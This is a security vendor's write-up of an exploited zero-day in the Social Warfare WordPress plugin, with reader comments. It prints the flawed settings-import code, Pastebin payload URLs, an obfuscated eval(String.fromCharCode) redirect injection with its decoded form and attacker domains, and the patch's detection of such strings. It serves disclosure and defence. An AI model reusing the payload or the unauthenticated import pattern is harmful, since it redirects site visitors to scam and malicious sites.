Social Warfare Plugin Zero-Day: Details and Attack Data

In our earlier post, we issued a warning to users of the Social Warfare plugin regarding a zero-day vulnerability affecting their sites. At this time, the plugin’s developers have issued a patch for the flaw. All users are urged to update to version 3.5.3 immediately.

Vulnerability Details

The plugin features functionality that allows users to clone its settings from another site. However, this functionality was not restricted to administrators or even logged-in users. An attacker is able to input a URL pointing to a crafted configuration document, which overwrites the plugin’s settings on the victim’s site.

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');
	}

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
if (update_option( 'social_warfare_settings', $new_options )) {
	wp_die('Social Warfare settings updated to match ' . $_GET['swp_url']);
}

With the ability to modify the social media plugin’s settings, an attacker can pivot and perform more malicious activity. In all cases we’ve tracked so far, attackers modify the twitter_id value, as it most directly leads to a front-facing XSS injection point.

Active Exploit Campaign

Threat actors exploiting this flaw host their payloads as Pastebin raw files, as the URLs are anonymous and don’t point directly to the attacker’s infrastructure. At this time, we’ve identified three main Pastebin addresses:

  • https://pastebin.com/raw/0yJzqbYf
  • https://pastebin.com/raw/PcfntxEs
  • https://pastebin.com/raw/cYEtKpad
    • This document was taken down by Pastebin at the time of this writing.

The two Pastebin URLs that were still live were nearly identical. Both contained the same type of injection, at the same injection point, with the same obfuscation method, and both performed redirects in the same manner. The only difference is the redirect target.

eval(String.fromCharCode(118, 97, 114, 32, 108, 108, 116, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 101, 116, 102, 111, 114, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 119, 101, 110, 98, 51, 52, 104, 103, 113, 102, 99, 97, 53, 54, 55, 53, 54, 56, 57, 53, 55, 57, 46, 112, 104, 112, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 108, 108, 116, 32, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 32, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 59));

Deobfuscating the above script results in the following JavaScript payload:

var llt = "hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php";
document.location.replace(llt );
document.location.href=llt ;
window.location.href=llt;

Between the two payloads, the following URLs were present:

  • hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php
  • hXXps://strangefullthiggngs[.]com/sdjgjkhjk9.php

One domain, setforconfigplease[.]com, has been on our radar for a while now, most recently in our recent research into attacks against Easy WP SMTP. The other, strangefullthiggngs[.]com, is a newcomer. In fact, it was registered today.

WHOIS data for strangefullthiggngs[.]com showing it was created today, March 21.

These domains are part of a larger redirect campaign, and are both hosted on the same IP address, 176.123.9.52. Visitors who are redirected to these addresses are subsequently redirected to a series of malicious sites, and their individual activity is tracked via cookies. Reports have indicated a variety of eventual redirect targets, from pornography to tech support scams.

Patch Released

As mentioned, the plugin’s vendor issued a patch for this vulnerability within hours of becoming aware of it.

Screenshot of the diffset between the vulnerable and patched versions of the plugin.

As shown in the diff above, all of the existing settings import code was gutted from the plugin and replaced. Additionally, new code was added which attempts to directly reverse the XSS injections that had been distributed.

private function correct_invalid_values() {
	$defaults = $this->registered_options['defaults'];
	$values   = $this->registered_options['values'];

	foreach( $this->user_options as $key => $value ) {

		// For the Zero Day bug catch
		if ( 'twitter_id' == $key ) {
			if ( strpos( $value, '<' ) || strlen( $value ) > 15 ) {
				$this->user_options['twitter_id'] = '';
				SWP_Utility::update_option( 'twitter_id' , '' );
			}
		}

		if ( is_string( $value ) && strpos( $value, 'fromCharCode') > -1 ) {
			$this->user_options[$key] = '';
			SWP_Utility::update_option( $key , '' );
		}

In code added to the function correct_invalid_values(), the plugin now makes efforts to remove injected content from its options values. First, if a < symbol is present in the twitter_id field, or the length of the value is greater than 15 bytes, the setting is set to a blank string. Next, if the string fromCharCode is present in any value, that value is similarly set to an empty string. This is in response to the obfuscation method shown earlier in this post and used by the threat actors behind this campaign.

The behavior of including patch code to directly address the aftermath of successful exploits is uncommon, but not unprecedented. We’ve seen similar efforts as recently as the WooCommerce Abandoned Cart vulnerability we detailed earlier this month.

Conclusion

The Wordfence WAF was quickly updated in response to these threats and our Premium users are protected. As always, we recommend updating your site’s plugins regularly. Unfortunately in this case, the exploit was in the hands of the bad folks before the good ones had a chance to do anything about it. Cases like this illustrate why a layered security posture is so important, and why it’s important to remain constantly in the loop with security news that may affect your site.

Did you enjoy this post? Share it!

Comments

6 Comments
  • I see the (!is_Admin) die line 227 is obviously inadequate...
    https://developer.wordpress.org/reference/functions/is_admin/

    So really the is_admin function is nothing about the user - should it be renamed is_admin_page as its obviously confusing?
    So line 227 should have been if(! current_user_can('administrator')){

    • Yes, we (the WordPress.org plugins team) caught that mistake too, and told the authors about it. However, given the rest of the patch, and the timeline, I felt it was safe enough to ignore it for now, and to work with them to improve the security overall in a later release. Given the problem and the active exploit, fixing that was the priority.

      • Thanks for confirming this Otto. Its interesting to learn from other's mistakes. I have seen that is_admin die block quite a few times in examples for plugin development.

        Also thanks Wordfence for latest blog update. I know that eval function is risky.

  • thanks for the article tip. i had a website down from this vulnerability today and was able to get it back up and running correctly with this info.

  • I was facing the same problem last night, Luckily I have updated all my plugins which needs to be updated.

    The issue was resolved but I was not aware of what was causing the error, But after reading your post I came to know the reason.

    Thanks,
    Ravi Dixit

  • Obviously an amateur coder. No professional would have written
    if ( true == SWP_Utility::debug('load_options') ) ...
    ^^^^^^^^

    The "true ==" is superfluous and inefficient.